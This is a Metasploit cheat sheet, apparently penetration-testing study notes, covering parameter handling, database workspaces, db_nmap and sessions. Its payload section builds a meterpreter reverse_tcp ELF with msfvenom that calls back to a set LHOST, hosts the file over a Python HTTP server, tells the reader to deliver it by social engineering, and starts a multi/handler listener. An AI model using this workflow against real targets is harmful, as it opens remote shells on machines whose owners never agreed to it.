

Configuration & Parameters

Setting Targets

```
set RHOST <ip>           # Set target IP address
set RHOST <file>         # Set multiple targets from file
```

 **Note:** Parameters reset when switching modules unless using `setg`

Parameter Management

- `unset <parameter>` - Unset specific parameter
- `unset all` - Unset all parameters
- `setg <parameter>` - Set global parameter (persists across modules)
- `unsetg <parameter>` - Unset global parameter

Database & Workspace Management

Database Operations

```
workspace           # Manage workspaces
db_status           # Check database connection status
db_nmap             # Run nmap and store results in database
```

 **Tip:** Using `db_nmap` automatically stores scan results in the database for later analysis

Nmap Integration

You can use nmap directly within Metasploit for reconnaissance.

Session Management

```
session           # Display active sessions
exploit -j         # Run exploit in background (job mode)
```

Creating Linux Payloads

Step 1: Generate Payload

```
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=10.17.54.192 \
```

```
LPORT=4444 \  
-f elf > shell.elf
```

💡 **Tip:** Change payload type according to your requirements

Step 2: Deliver Payload

- Run a Python HTTP server to host the payload
- Use social engineering techniques to deliver to target

```
python3 -m http.server 8000
```

Step 3: Setup Listener

```
search multi/handler      # Search for handler  
use <handler_module>      # Select handler  
set payload <payload_type> # Set matching payload  
set LHOST <your_ip>        # Set listener IP  
set LPORT <your_port>      # Set listener port  
exploit                   # Start listening
```

🎯 Quick Reference

Command	Description
exploit	Run the exploit
exploit -j	Run exploit in background
sessions	View active sessions
back	Exit current module
setg	Set global parameter
db_nmap	Nmap with database storage

📌 Important Notes

- ⚠️ Parameters are reset when changing modules (use `setg` for persistence)
 - 🔄 Background jobs can be managed with `sessions` command
 - 💾 Use `db_nmap` to automatically store reconnaissance data
 - 🧐 Always customize payloads based on target requirements
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